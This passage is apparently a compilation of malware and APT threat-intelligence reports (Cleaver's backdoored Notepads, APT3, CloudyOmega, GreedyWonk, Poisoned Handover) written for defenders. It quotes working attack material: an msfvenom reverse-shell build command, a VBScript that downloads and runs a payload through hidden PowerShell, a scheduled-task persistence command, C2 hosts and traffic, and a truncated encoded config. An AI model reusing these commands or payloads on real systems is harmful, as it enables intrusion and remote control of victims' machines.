[edx+26] PLDR_MODULE.BaseDllName.MaximumLength 001000A3 edi, edi 001000A5 eax, eax 001000A7 lodsb 001000A8 al, 61 001000AA 001000ae 001000AC al, 20 001000AE edi, 0D 001000B1 edi, eax ; check for lowercase letter ; convert to uppercase It looks like a call over a typical module or export lookup function. In fact, it is, and as the ROR-ADD pair suggests, it implements module name and export name hashing, the algorithms of which can be expressed as follows: unsigned int GetModuleNameHash(PLDR_MODULE pLdrModule) unsigned int hash = 0; char * p = (char *) pLdrModule->BaseDllName->Buffer; for (int n = pLdrModule->BaseDllName->MaximumLength; n != 0; p++, n--) char ch = *p; if (ch >= 'a') ch -= 0x20; hash = _rotr(hash, 13) + (unsigned char) ch; return hash; unsigned int GetExportNameHash(char *pszName) unsigned int hash = 0; for ( ; ; pszName++) hash = _rotr(hash, 13) + (unsigned char) *pszName; if (*pszName == 0) break; return hash; Still, this is all just preamble. What is the point that it eventually gets to? You'd be forgiven for assuming that the tremendous amount of effort poured into obfuscation means there's some treasure beyond all fables at the bottom of this erstwhile Notepad. Sorry. It just downloads and executes a block of raw code. (Spoiler: it's actually a Metasploit reverse connect stager.) Here is its behavior summarized as function calls: kernel32!LoadLibraryA("ws2_32") ws2_32!WSAStartup(...) s = ws2_32!WSASocketA(AF_INET, SOCK_STREAM, ...) ws2_32!connect(s, { sin_family = AF_INET, sin_port = htons(12345), sin_addr = 108.175.152.230 }, 0x10) ws2_32!recv(s, &cb, 4, 0) p = kernel32!VirtualAlloc(NULL, cb, MEM_COMMIT, PAGE_EXECUTE_READWRITE) ws2_32!recv(s, p, cb, 0) The above is known to be true for Notepad3.exe, Notepad4.exe, and notepad10.exe. NOTEPAD2.EXE doesn't seem to want to run, for reasons we didn't bother to troubleshoot for the bad guys. Denouement Unfortunately, we never did obtain a sample of the code that might have been downloaded. The key to that enigma-embedded, mystery-wrapped riddle is forever lost to us. The best we can do is read what's written in the Notepads and speculate as to why they exist at all. Clearly whatever generator created these Notepads is far, far beyond the technical understanding of the Cleaver team. It stands to reason that there is a generator--no chance these were crafted by hand--and that its sophistication is even greater than that of its output. Something like that wouldn't be used only once. Something like that, if this team was able to get ahold of it, must be out there. Turn the right corner of the internet, and you can find anything... Well it so happens that we did eventually find it. Some of you have no doubt suspected it all along, and now I'll humbly confirm it for you: the Notepads were, in their entirety, generated by Metasploit. Something along the lines of "msfvenom -x notepad.exe -p windows/shell/reverse_tcp -e x86/shikata_ga_nai -i 5 LHOST=108.175.152.230 LPORT=12345 > Notepad4.exe". The "msfvenom" tool transmogrifies a Metasploit payload into a standalone EXE, and with the "-x" switch, it'll fuse the payload-encoded as desired--into a copy of an existing executable, exhibiting exactly the behavior we just described. Omne ignotum pro magnifico. Perhaps the more bizarre a thing is, the less mysterious it proves to be. However, we're still left to wonder what Cleaver was up to when they generated all those Notepads. One conclusion Brian proposed is that they're intended as backdoors--replacements for the legitimate Notepad on a compromised system--which would enable Cleaver to regain access to a system at some indeterminate time in the future, the next time a user runs Notepad. The team demonstrated a similarly intentioned tactic with a connect-back shell scheduled to run in a six-minute window each night; the Notepad replacement, while more intrusive, could be another example of this contingency planning tendency. Or maybe the Notepads were only an aborted experiment, attempted and shelved, forgotten in a flurry of compromises and criminal activity. If nothing else, they made for an unexpected bit of mystery. Operation Double Tap APT3 (also known as UPS), the actors responsible for Operation Clandestine Fox has quietly continued to send waves of spearphishing messages over the past few months. This actor initiated their most recent campaign on November 19, 2014 targeting multiple organizations. The attacker leveraged multiple exploits, targeting both CVE-2014-6332 and CVE-2014-4113. CVE-2014-6332 was disclosed publicly on 2014-11-11 and is a Windows OLE Automation Array Remote Code Execution vulnerability. CVE-20144113 is a privilege escalation vulnerability that was disclosed publicly on 2014-10-14. The use of CVE-2014-6332 is notable, as it demonstrates that multiple classes of actors, both criminal and APT alike, have now incorporated this exploit into their toolkits. Further, the use of both of these two known vulnerabilities in tandem is notable for APT3. This actor is historically known for leveraging zeroday vulnerabilities in widespread but infrequent phishing campaigns. The use of known exploits and more frequent attacks may indicate both a shift in strategy and operational tempo for this group. The Spearphish The body of the message is below: One Month's Free Membership for The PLAYBOY ClUB 1080P HD VIDEOS 100,000 PHOTOS 4,000 MODELS Nude Celebrities,Playmates,Cybergirls & More! Click hxxp://join.playboysplus.com/signup/ To Get a Free Plus Member Now & Never Miss Another Update. Your Member referrals must remain active. If anyone getting "Promotion not available" for 1 month free membership, you might get the issue up to 48 hrs once your membership is expired and make sure to Clear out cookies or use another browser or use another PC. The webpage contained both CVE-2014-6332 exploit code and a VBScript that invoked PowerShell on the affected users system to download the below payload: function runmumaa() On Error Resume Next set shell=createobject("Shell.Application") shell.ShellExecute "powershell.exe","-NoLogo -NoProfile -NonInteractive -WindowStyle Hidden ( New-Object System.Net.WebClient ).DownloadFile( http://www.playboysplus.com /install/install.exe install.exe );Invoke-Item install.exe", "", "open", 1 end function The CVE-2014-6332 exploit code seen in this incident is derived from the code published at http://www.exploit-db.com/exploits/35230/, which has also been incorporated in the Metasploit project. The Downloader After the exploit or script executes, the system downloads install.exe, which has the following metadata: 5a0c4e1925c76a959ab0588f683ab437 Size 46592 bytes Compile Time 2014-11-19 08:55:10Z Import Hash 6b8611f8148a6b51e37fd68e75b6a81c The file install.exe attempts to write two files (doc.exe and test.exe) to the hard-coded path C:\Users\Public , which fails on Windows XP because that path is not present by default. The first dropped file, doc.exe, contains the CVE-2014-4113 exploit and then attempts to execute test.exe with the elevated privileges. These files have the following metadata: doc.exe (x86): 492a839a3bf9c61b7065589a18c5aa8d Size 12288 bytes Import Hash 9342d18e7d315117f23db7553d59a9d1 doc.exe (x64): 744a17a3bc6dbd535f568ef1e87d8b9a Size 13824 bytes Compile Time 2014-11-19 08:25:45Z Import Hash 2fab77a3ff40e4f6d9b5b7e813c618e4 test.exe: 5c08957f05377004376e6a622406f9aa Size 11264 bytes Compile Time 2014-11-18 10:49:23Z Import Hash f34d5f2d4577ed6d9ceec516c1f5a744 These payload files also have interesting PDB debug strings. install.exe: c:\Users\aa\Documents\Visual Studio 2008\Projects\MShell\Release \MShell.pdb doc.exe: c:\Users\aa\Documents\Visual Studio 2008\Projects\4113\Release \4113.pdb test.exe: C:\Users\aa\Documents\Visual Studio 2010\Projects\MyRat\Client\Client \obj\x86\Release\Client.pdb The most interesting PDB string is the 4113.pdb, which appears to reference CVE-2014-4113. This CVE is a local kernel vulnerability that, with successful exploitation, would give any user SYSTEM access on the machine. The malware component, test.exe, uses the Windows command "cmd.exe" /C whoami to verify it is running with the elevated privileges of System and creates persistence by creating the following scheduled task: schtasks /create /tn "mysc" /tr C:\Users\Public\test.exe /sc ONLOGON /ru "System" When executed, the malware first establishes a SOCKS5 connection to 192.157.198.103 using TCP port 1913. The malware sends the SOCKS5 connection request "05 01 00" and verifies the server response starts with "05 00". The malware then requests a connection to 192.184.60.229 on TCP port 81 using the command "05 01 00 01 c0 b8 3c e5 00 51" and verifies that the first two bytes from the server are "05 00" (c0 b8 3c e5 is the IP address and 00 51 is the port in network byte order). Once the connection to the server is established, the malware expects a message containing at least three bytes from the server. These first three bytes are the command identifier. The following commands are supported by the malware: Command Description 00 00 00 Content after command ID is written to: C:\Users\ [Username]\AppData\Local\Temp\notepad1.exe 00 00 01 Deletes the files: C:\Users\ [Username]\AppData\Local\Temp\notepad.exe C:\Users\ [Username]\AppData\Local\Temp\newnotepad.exe 00 00 02 Malware exits 00 00 03 Malware downloads the URL that follows the command ID. The file is saved to: C:\Users\ [Username]\AppData\Local\Temp\notepad.exe 00 00 04 Content after command ID is written to: C:\Users\ [Username]\AppData\Local\Temp\notepad2.exe 00 00 05 The files notepad1.exe and notepad2.exe are concatenated together and written to C:\Users\ [Username]\AppData\Local\Temp\newnotepad.exe and executed 00 00 06 The contents of the following file is sent to the server: C:\Users\ [Username]\AppData\Local\Temp\note.txt 00 00 07 The string following the command ID is executed using "cmd /C" and results are sent to server Links to APT3 On October 28, we observed APT3 sending out spearphishing messages containing a compressed executable attachment. The deflated exe was a variant of the same downloader described above and connected to 198.55.115.71 over port 1913 via SOCKS5 proxy. The secondary payload in that case was detected as Backdoor.APT.CookieCutter (aka Pirpi) and also named newnotepad.exe (MD5 8849538ef1c3471640230605c2623c67) and connected to the known APT3 domains: inform.bedircati[.]com pn.lamb-site[.]com 210.109.99.64 The 192.184.60.229 IP address seen in this current campaign also hosts securitywap[.]com another known domain referenced in our Operation Clandestine Fox blog. DOMAIN FIRST SEEN LAST SEEN IP ADDRESS securitywap.com 2014-11-17 2014-11-20 192.184.60.229 www.securitywap.com 2014-11-17 2014-11-20 192.184.60.229 In addition, the join.playboysplus[.]com exploit and payload delivery site resolves to 104.151.248.173. This IP has hosted other domains used by APT3 in past campaigns: DOMAIN FIRST SEEN LAST SEEN IP ADDRESS join.playboysplus[.]com 2014-11-21 2014-11-21 104.151.248.173 walterclean[.]com 2014-11-18 2014-11-20 104.151.248.173 www.walterclean[.]com 2014-11-18 2014-11-20 104.151.248.173 As we discussed in our previous blog detailing previous APT3 activity, the walterclean[.]com served as a Plugx/Kaba command and control server. Conclusion Although APT3 is well known for employing zero-day exploits in their attacks, recent activity has demonstrated that they will also attack targets with known exploits or social engineering. Since Operation Clandestine Fox, we have observed this actor execute multiple attacks that did not rely on zero-day exploits. The combination of this sustained operational tempo and lack of zero-day exploits may indicate that this group has changed strategy and has decided to attack more frequently and does not have steady access to zero-day exploit code. No matter the strategy, this actor has shown an ability to operate successfully. IOCs for this threat can be found here. Operation CloudyOmega: Ichitaro zero-day and ongoing cyberespionage campaign targeting Japan JustSystems has issued an update to its Ichitaro product line (Japanese office suite software), plugging a zero-day vulnerability. This vulnerability is being actively exploited in the wild to specifically target Japanese organizations. The exploit is sent to the targeted organizations through emails with a malicious Ichitaro document file attached, which Symantec products detect as Bloodhound.Exploit.557. Payloads from the exploit may include Backdoor.Emdivi, Backdoor.Korplug, and Backdoor.ZXshell; however, all payloads aim to steal confidential information from the compromised computer. The content of the emails vary depending on the business interest of the targeted recipient s organization; however, all are about recent political events associated with Japan. Opening the malicious attachment with Ichitaro will drop the payload and display the document. Often such exploitation attempts crash and then relaunch the document viewer to open a clean document in order to trick users into believing it is legitimate. In this particular attack, opening the document and dropping the payload are done without crashing Ichitaro and, as such, users have no visual indications as to what is really happening in the background. CloudyOmega As Security Response previously discussed, unpatched vulnerabilities being exploited is nothing new for Ichitaro. However, during our investigation of this Ichitaro zero-day attack, we discovered that the attack was in fact part of an ongoing cyberespionage campaign specifically targeting various Japanese organizations. Symantec has named this attack campaign CloudyOmega. In this campaign, variants of Backdoor.Emdivi are persistently used as a payload. All attacks arrive on the target computers as an attachment to email messages. Mostly the attachments are in a simple executable format with a fake icon. However, some of the files exploit software vulnerabilities, and the aforementioned vulnerability in Ichitaro software is only one of them. This group s primary goal is to steal confidential information from targeted organizations. This blog provides insights into the history of the attack campaign, infection methods, malware payload, and the group carrying out the attacks. Timeline The first attack of the campaign can be traced back to at least 2011. Figure 1 shows the targeted sectors and the number of attacks carried out each year. The perpetrators were very cautious launching attacks in the early years with attacks beginning in earnest in 2014. By far, the public sector in Japan is the most targeted sector hit by Operation CloudyOmega. This provides some clue as to who the attack group is. Figure 1. Targeted sectors and number of attacks Attack vector Email is the predominant infection vector used in this campaign. Figure 2. Sample email used in attack campaign Figure 2 is an example of an email used in recent attacks prior to those exploiting the Ichitaro zero-day vulnerability. The emails include password-protected .zip files containing the malware. Ironically, the attackers follow security best practices by indicating in the first email that the password will be sent to the recipient in a separate email. This is merely to trick the recipient into believing the email is from a legitimate and trustworthy source. The body of the email is very short and claims the attachment includes a medical receipt. The email also requests that the recipient open the attachment on a Windows computer. The file in the attachment has a Microsoft Word icon but, as indicated within Windows Explorer, it is an executable file. Figure 3. Attached document is actually a malicious executable file Payload The malicious payload is Backdoor.Emdivi, a threat that opens a back door on the compromised computer. The malware is exclusively used in the CloudyOmega attack campaign and first appeared in 2011 when it was used in an attack against a Japanese chemical company. Emdivi allows the remote attacker executing the commands to send the results back to the command-and-control (C&C) server through HTTP. Each Emdivi variant has a unique version number and belongs to one of two types: Type S and Type T. The unique version number is not only a clear sign that Emdivi is systematically managed, but it also acts as an encryption key. The malware adds extra words to the version number and then, based on this, generates a hash, which it uses as an encryption key. Both Emdivi Type S and Type T share the following functionality: Allow a remote attacker to execute code through HTTP Steal credentials stored by Internet Explorer Type T is primarily used in Operation CloudyOmega, has been in constant development since the campaign was first launched in 2011, and is written in the C++ programing language. Type T employs techniques to protect itself from security vendors or network administrators. Important parts of Type T, such as the C&C server address it contacts and its protection mechanisms, are encrypted. Type T also detects the presence of automatic analysis systems or debuggers, such as the following: VirtualMachine Debugger Sandbox Type S, on the other hand, was used only twice in the attack campaign. Type S is a .NET application based on the same source code and shared C&C infrastructure as Type T. However, protection mechanisms and encryption, essential features for threat survival, are not present in Type S. One interesting trait of Type S is that it uses Japanese sentences that seem to be randomly taken from the internet to change the file hash. For instance, in the example shown in Figure 4, it uses a sentence talking about the special theory of relativity. Figure 4. Japanese text used by Emdivi Type S variant Who is Emdivi talking to? Once infected, Emdivi connects to hardcoded C&C servers using the HTTP protocol. So far, a total of 50 unique domains have been identified from 58 Emdivi variants. Almost all websites used as C&C servers are compromised Japanese websites ranging from sites belonging to small businesses to personal blogs. We discovered that 40 out of the 50 compromised websites, spread across 13 IP addresses, are hosted on a single cloud-hosting service based in Japan. Figure 5. Single IP hosts multiple compromised websites The compromised sites are hosted on various pieces of web server software, such as Apache and Microsoft Internet Information Services (IIS), and are on different website platforms. This indicates that the sites were not compromised through a vulnerability in a single software product or website platform. Instead, the attacker somehow penetrated the cloud service itself and turned the websites into C&C servers for Backdoor.Emdivi. The compromised cloud hosting company has been notified but, at the time of writing, has not replied. Symantec offers two IPS signatures that detect and block network communication between infected computers and the Emdivi C&C server: System Infected: Backdoor.Emdivi Activity System Infected: Backdoor.Emdivi Activity 2 Zero-day and links to other cybercriminal groups During our research, multiple samples related to this attack campaign were identified and allowed us to connect the dots, as it were, when it came to CloudyOmega's connections to other attack groups. In August 2012, the CloudyOmega attackers exploited the zero-day Adobe Flash Player and AIR 'copyRawDataTo()' Integer Overflow Vulnerability (CVE-2012-5054) in an attack against a high-profile organization in Japan. The attackers sent a Microsoft Word file containing a maliciously crafted SWF file that exploited the vulnerability. Once successfully exploited, the file installed Backdoor.Emdivi. As CVE2012-5054 was publicly disclosed in the same month, the attack utilized what was, at the time, a zero-day exploit. Interestingly, the Flash file that was used in an Emdivi attack in 2012 and the one used in the LadyBoyle attack in 2013 look very similar. Figure 6 shows the malformed SWF file executing LadyBoyle() code that attempts to exploit the Adobe Flash Player CVE-2013-0634 Remote Memory Corruption Vulnerability (CVE-2013-0634). The Flash file seems to have been created using the same framework used by the CloudyOmega group, but with a different exploit. Figure 6. Malformed SWF file used in the LadyBoyle campaign in February 2013 Both attacks use a .doc file containing an Adobe Flash zero-day exploit that is used to install a back door. No other evidence connects these two different campaigns; however, as described previously in Symantec Security Response s Elderwood blog, it is strongly believed that a single parent organization has broken into a number of subgroups that each target a particular industry. In terms of the latest attack on Ichitaro, we collected a dozen samples of JTD files, all of which are exactly the same except for their payload. The parent organization, it would seem, supplied the zero-day exploit to the different subgroups as part of an attack toolkit and each group launched a separate attack using their chosen malware. This is why three different payloads (Backdoor.Emdivi, Backdoor.Korplug, and Backdoor.ZXshell) were observed in the latest zero-day attack. Figure 7. Parent group sharing zero-day exploit Conclusion Operation CloudyOmega was launched by an attack group that has communication channels with other notorious attack groups including Hidden Lynx and the group responsible for LadyBoyle. CloudyOmega has been in operation since 2011 and is persistent in targeting Japanese organizations. With the latest attack employing a zero-day vulnerability, there is no indication that the group will stop their activities anytime soon. Symantec Security Response will be keeping a close eye on the CloudyOmega group. Protection summary It is highly recommended that customers using Ichitaro products apply any patches as soon as possible. Symantec offers the following protection against attacks associated with Operation CloudyOmega: Backdoor.Emdivi Backdoor.Emdivi!gen1 Backdoor.Emdivi!gen2 Bloodhound.Exploit.557 Trojan.Mdropper System Infected: Backdoor.Emdivi Activity System Infected: Backdoor.Emdivi Activity 2 Operation GreedyWonk: Multiple Economic and Foreign Policy Sites Compromised, Serving Up Flash Zero-Day Exploit Less than a week after uncovering Operation SnowMan, the FireEye Dynamic Threat Intelligence cloud has identified another targeted attack campaign this one exploiting a zero-day vulnerability in Flash. We are collaborating with Adobe security on this issue. Adobe has assigned the CVE identifier CVE-20140502 to this vulnerability and released a security bulletin. As of this blog post, visitors to at least three nonprofit institutions two of which focus on matters of national security and public policy were redirected to an exploit server hosting the zero-day exploit. re dubbing this attack Operation GreedyWonk. We believe GreedyWonk may be related to a May 2012 campaign outlined by ShadowServer, based on consistencies in tradecraft (particularly with the websites chosen for this strategic Web compromise), attack infrastructure, and malware configuration properties. The group behind this campaign appears to have sufficient resources (such as access to zero-day exploits) and a determination to infect visitors to foreign and public policy websites. The threat actors likely sought to infect users to these sites for follow-on data theft, including information related to defense and public policy matters. Discovery On Feb. 13, FireEye identified a zero-day Adobe Flash exploit that affects the latest version of the Flash Player (12.0.0.4 and 11.7.700.261). Visitors to the Peter G. Peterson Institute for International Economics (www.piie[.]com) were redirected to an exploit server hosting this Flash zero-day through a hidden iframe. We subsequently found that the American Research Center in Egypt (www.arce[.]org) and the Smith Richardson Foundation (www.srf[.]org) also redirected visitors the exploit server. All three organizations are nonprofit institutions; the Peterson Institute and Smith Richardson Foundation engage in national security and public policy issues. Mitigation To bypass Windows Address Space Layout Randomization (ASLR) protections, this exploit targets computers with any of the following configurations: Windows XP Windows 7 and Java 1.6 Windows 7 and an out-of-date version of Microsoft Office 2007 or 2010 Users can mitigate the threat by upgrading from Windows XP and updating Java and Office. If you have Java 1.6, update Java to the latest 1.7 version. If you are using an out-of-date Microsoft Office 2007 or 2010, update Microsoft Office to the latest version. These mitigations do not patch the underlying vulnerability. But by breaking the exploit s ASLR-bypass measures, they do prevent the current in-the-wild exploit from functioning. Vulnerability analysis GreedyWonk targets a previously unknown vulnerability in Adobe Flash. The vulnerability permits an attacker to overwrite the vftable pointer of a Flash object to redirect code execution. ASLR bypass The attack uses only known ASLR bypasses. Details of these techniques are available from our previous blog post on the subject (in the Non-ASLR modules section). For Windows XP, the attackers build a return-oriented programming (ROP) chain of MSVCRT (Visual C runtime) gadgets with hard-coded base addresses for English ( ) and Chinese ( zh-cn and zh-tw On Windows 7, the attackers use a hard-coded ROP chain for MSVCR71.dll (Visual C++ runtime) if the user has Java 1.6, and a hard-coded ROP chain for HXDS.dll (Help Data Services Module) if the user has Microsoft Office 2007 or 2010. Java 1.6 is no longer supported and does not receive security updates. In addition to the MSVCR71.dll ASLR bypass, a variety of widely exploited code-execution vulnerabilities exist in Java 1.6. That s why FireEye strongly recommends upgrading to Java 1.7. The Microsoft Office HXDS.dll ASLR bypass was patched at the end of 2013. More details about this bypass are addressed by Microsoft s Security Bulletin MS13-106 and an accompanying blog entry. FireEye strongly recommends updating Microsoft Office 2007 and 2010 with the latest patches. Shellcode analysis The shellcode is downloaded in ActionScript as a GIF image. Once ROP marks the shellcode as executable using Windows VirtualProtect function, it downloads an executable via the InternetOpenURLA and InternetReadFile functions. Then it writes the file to disk with CreateFileA and WriteFile functions. Finally, it runs the file using the WinExec function. PlugX/Kaba payload analysis Once the exploit succeeds, a PlugX/Kaba remote access tool (RAT) payload with the MD5 hash 507aed81e3106da8c50efb3a045c5e2b is installed on the compromised endpoint. This PlugX sample was compiled on Feb. 12, one day before we first observed it, indicating that it was deployed specifically for this campaign. This PlugX payload was configured with the following command-and-control (CnC) domains: java.ns1[.]name adservice.no-ip[.]org wmi.ns01[.]us Sample callback traffic was as follows: POST /D28419029043311C6F8BF9F5 HTTP/1.1 Accept: */* HHV1: 0 HHV2: 0 HHV3: 61456 HHV4: 1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; InfoPath.2; .NET CLR 2.0.50727; SV1) Host: java.ns1.name Content-Length: 0 Connection: Keep-Alive Cache-Control: no-cache Campaign analysis Both java.ns1[.]name and adservice.no-ip[.]org resolved to 74.126.177.68 on Feb. 18, 2014. Passive DNS analysis reveals that the domain wmi.ns01.us previously resolved to 103.246.246.103 between July 4, 2013 and July 15, 2013 and 192.74.246.219 on Feb. 17, 2014. java.ns1[.]name also resolved to 192.74.246.219 on February 18. Domain First Seen adservice.no-ip[.]org 2014-02-18 java.ns1[.]name 2014-02-18 java.ns1[.]name 2014-02-18 wmi.ns01[.]us 2014-02-17 proxy.ddns[.]info 2013-05-02 Last Seen 2014-02-19 2014-02-19 2014-02-18 2014-02-17 2014-02-18 IP Address 74.126.177.68 74.126.177.68 192.74.246.219 192.74.246.219 103.246.246.103 updatedns.ns02[.]us 2013-09-06 updatedns.ns01[.]us 2013-09-06 wmi.ns01[.]us 2013-07-04 2013-09-06 2013-09-06 2013-07-15 103.246.246.103 103.246.246.103 103.246.246.103 Further research uncovered a number of older malware samples connecting to the same domain wmi.ns01[.]us. Family Compile Alternate C2s Time 7995a9a6a889b914e208eb924e459ebc PlugX 2012-06-09 fuckchina.govnb[.]com bf60b8d26bc0c94dda2e3471de6ec977 PlugX 2010-03-15 microsafes.no-ip[.]org fd69793bd63c44bbb22f9c4d46873252 Poison 2013-03-07 N/A 88b375e3b5c50a3e6c881bc96c926928 Poison 2012-06-11 N/A cd07a9e49b1f909e1bd9e39a7a6e56b4 Poison 2012-06-11 N/A Domain First Seen Last Seen IP Address fuckchina.govnb[.]com 2013-12-11 2013-12-11 204.200.222.136 microsafes.no-ip[.]org 2014-02-12 2014-02-12 74.126.177.70 microsafes.no-ip[.]org 2013-12-04 2013-12-04 74.126.177.241 The Poison Ivy variants that connected to the domain wmi.ns01[.]us had the following unique configuration properties: Password fd69793bd63c44bbb22f9c4d46873252 java7 88b375e3b5c50a3e6c881bc96c926928 admin cd07a9e49b1f909e1bd9e39a7a6e56b4 admin Mutex NBCD*&^FE ytf^&^333 ytf^&^333 We found a related Poison Ivy sample (MD5 8936c87a08ffa56d19fdb87588e35952) with the same java7 password, which was dropped by an Adobe Flash exploit (CVE-2012-0779). In this previous incident, visitors to the Center for Defense Information website (www.cdi[.]org also an organization involved in defense matters were redirected to an exploit server at 159.54.62.92. This exploit server hosted a Flash exploit file named BrightBalls.swf (MD5 1ec5141051776ec9092db92050192758). This exploit, in turn, dropped the Poison Ivy variant. In addition to using the same password java7, this variant was configured with the mutex with the similar pattern of YFds*&^ff and connected to a CnC server at windows.ddns[.]us. Using passive DNS analysis, we see the domains windows.ddns[.]us and wmi.ns01[.]us both resolved to 76.73.80.188 in mid-2012. Domain wmi.ns01.us windows.ddns.us First Seen 2012-07-07 2012-05-23 Last Seen 2012-09-19 2012-06-10 IP Address 76.73.80.188 76.73.80.188 During another earlier compromise of the same www.cdi.org website, visitors were redirected to a Java exploit test.jar (MD5 7d810e3564c4eb95bcb3d11ce191208e). This jar file exploited CVE-2012-0507 and dropped a Poison Ivy payload with the hash (MD5 52aa791a524b61b129344f10b4712f52). This Poison Ivy variant connected to a CnC server at ids.ns01[.]us. The domain ids.ns01[.]us also overlaps with the domain wmi.ns01[.]us on the IP 194.183.224.75. Domain wmi.ns01[.]us ids.ns01[.]us First Seen 2012-07-03 2012-04-23 Last Seen 2012-07-04 2012-05-18 IP Address 194.183.224.75 194.183.224.75 The Poison Ivy sample referenced above (MD5 fd69793bd63c44bbb22f9c4d46873252) was delivered via an exploit chain that began with a redirect from the Center for European Policy Studies (www.ceps[.]be). In this case, visitors were redirected from www.ceps[.]be to a Java exploit hosted on shop.fujifilm[.]be. In what is certainly not a coincidence, we also observed www.arce[.]org (one of the sites redirecting to the current Flash exploit) also redirect visitors to the Java exploit on shop.fujifilm[.]be in 2013. Conclusion This threat actor clearly seeks out and compromises websites of organizations related to international security policy, defense topics, and other non-profit sociocultural issues. The actor either maintains persistence on these sites for extended periods of time or is able to re-compromise them periodically. This actor also has early access to a number of zero-day exploits, including Flash and Java, and deploys a variety of malware families on compromised systems. Based on these and other observations, we conclude that this actor has the tradecraft abilities and resources to remain a credible threat in at least the midterm. Operation Poisoned Handover: Unveiling Ties Between APT Activity in Hong Kong s Pro-Democracy Movement As the pro-democracy movement in Hong Kong has continued, we ve been watching for indications of confrontation taking place in cyberspace. Protests began in September and have continued to escalate. In recent weeks, attackers have launched a series of Distributed Denial of Service attacks (DDoS) against websites promoting democracy in Hong Kong. According to the Wall Street Journal, websites belonging to Next Media s Apple Daily publication have suffered from an ongoing DDoS attack that brought down its email system for hours . According to other reports, Next Media s network has suffered a total failure a result of these attacks. Additionally, at least one member of the popular online forum HKGolden was arrested for posting messages encouraging support for the OccupyCentral Pro Democracy movement. The use of DDoS attacks as a political tool during times of conflict is not new; patriotic hacktivist groups frequently use them as a means to stifle political activity of which they disapprove. The question of state sponsorship (or at least tacit approval) in online crackdowns is often up for debate and ambiguous from a technical evidence and tradecraft perspective. In this case, however, we ve discovered an overlap in the tools and infrastructure used by China-based advanced persistent threat (APT) actors and the DDoS attack activity. We believe that these DDoS attacks are linked to previously observed APT activity, including Operation Poisoned Hurricane. This correlation sheds light on the potential relationships, symbiosis and tool sharing between patriotic hacker activities designed to disrupt anti-government activists in China, and the APT activity we consistently see that is more IP theft and espionage-focused. Ongoing DDoS Attacks Target the Pro-Democracy Movement FireEye has identified a number of binaries coded to receive instructions from a set of command and control (C2) servers instructing participating bots to attack Next Media-owned websites and the HKGolden forum. Next Media is a large media company in Hong Kong and the HkGolden forum has been used as a platform to organize pro-democracy protests. Each sample we identified is signed with digital certificates that have also been used by APT actors to sign binaries in previous intrusion operations: These binaries are W32 Cabinet self-extracting files that drop a variant of an older DDoS tool known as KernelBot . All of the samples we identified have the NewVersion value of 20140926. Structurally, all of these samples are similar in that they drop three files: ctfmon.exe-a legitimate, signed copy of the Pidgin IM client (md5 hash = 1685f978149d7ba8e039af9a4d5803c7) libssp-0.dll malware DLL which is side-loaded by ctfmon.exe to decode and launch KernelBot. Most versions of this dll are also signed by either the QTI or CallTogether certificate. readme.txt a binary file which contains the XOR-encoded KernelBot DLL as well as C2 destination information (most have md5 hash of b5ac964a74091d54e091e68cecd5b532) The KernelBot implants receive targeting instructions from C2 servers hard-coded directly into the sample. For example, c3d6450075d618b1edba17ee723eb3ca drops a KernelBot variant that connects to both www.sapporo-digital-photoclub[.]com and wakayamasatei[.]com. The full list of C2 servers we identified is as follows: sapporo-digital-photoclub[.]com wakayamasatei[.]com tommo[.]jp mizma.co[.]jp sp.you-maga[.]com nitori-tour[.]com ninekobe[.]com shinzenho[.]jp wizapply[.]com www.credo-biz[.]com On Oct. 21, the control server at wakayamasatei[.]com responded with the following encoded configuration file: @$@cWFPWERPRnlPXl5DRE13JyBjWXhPWkVYXnleS15PFxonIGNZbkVdRGxDRk 94X0QaFxonIGlHTmNuGhcbJyBuRV1EbENGT3hfRH9YRhoXQl5eWhAFBRsaBBo EGwQbHxsFGwRPUk8nIHF/Wk5LXk95T1hcT1h3JyBkT118T1hZQ0VEFxgaGx4 aExgcJyB/Wk5LXk9sQ0ZPf1hGF0JeXloQBQUbGgQaBBsEGx8bBRsET1JPJyBx bm5leXViRVleeV5LXkNZXkNJWXcnIGlFX0Ref1hGFycgfkNHT1gXGCcgcW5uZ Xl1eUlYQ1pebEZFRU53JyBjWXlJWENaXmxGRUVOFxsnIGlHTmNuFxsYGScgeU lYQ1pebEZFRU5uZHkXJyB5SVhDWl5sRkVFTn9YRhdCXl5aEAUFRFJLWkMES1p aRk9OS0NGUwRJRUcEQkEFJyB5SVhDWl5sRkVFTnpFWF4XEhonIGNZbU9ef1hG bENGTxcbJyBjWXlPRE56S0lBT14XGicgfkJYT0tOZkVFWn5DR08XHycgfkJYT 0tOaUVfRF4XGxonIH5DR09YFxkcGicgY1l+Q0dPWBcbJyBxbm5leXV5SVhDWl 5sRkVFTnVrG3cnIGNZeUlYQ1pebEZFRU4XGicgaUdOY24XGycgeUlYQ1pebEZ FRU5uZHkXGxoEGgQbBBsfGycgeUlYQ1pebEZFRU5/WEYXGxoEGgQbBBsfGwUb BEJeR0YnIHlJWENaXmxGRUVOekVYXhcSGicgY1ltT15/WEZsQ0ZPFxsnIGNZe U9ETnpLSUFPXhcbJyB+QlhPS05mRUVafkNHTxcbJyB+QlhPS05pRV9EXhcbJy B+Q0dPWBcYGicgY1l+Q0dPWBcbJyBxbm5leXV/TlpsRkVFTncnIGNZf05abEZ FRU4XGicgaUdOY24XGycgf05abEZFRU5uZHkXGxoEGgQbBBsfGycgfkJYT0tO aUVfRF4XGycgfkNHT1gXGBonIGNZfkNHT1gXGycgcW5uZXl1f05abEZFRU51a xt3JyBjWX9OWmxGRUVOFxonIGlHTmNuFxsnIH9OWmxGRUVObmR5FxsaBBoEGw QbHxsnIH5CWE9LTmlFX0ReFxsnIH5DR09YFxgaJyBjWX5DR09YFxsnIHFubmV 5dXlTRGxGRUVOdycgY1l5U0RsRkVFThcaJyBpR05jbhcbJyB5U0RsRkVFTm5k eRcbGgQaBBsEGx8bJyB5U0RsRkVFTnpFWF4XEhonIH5CWE9LTmlFX0ReFxsnI H5DR09YFxgaJyBjWX5DR09YFxsnIHFubmV5dX5JWmxGRUVOdycgY1l+SVpsRk VFThcaJyBpR05jbhcbJyB+SVpsRkVFTm5keRcbGgQaBBsEGx8bJyB+SVpsRkV FTnpFWF4XEhonIGNZeU9ETnpLSUFPXhcbJyB+QlhPS05pRV9EXhcbJyB+Q0dP WBcYGicgY1l+Q0dPWBcbJyBxbm5leXV+SVpsRkVFTnVrG3cnIGNZfklabEZFR U4XGicgaUdOY24XGycgfklabEZFRU5uZHkXGxoEGgQbBBsfGycgfklabEZFRU 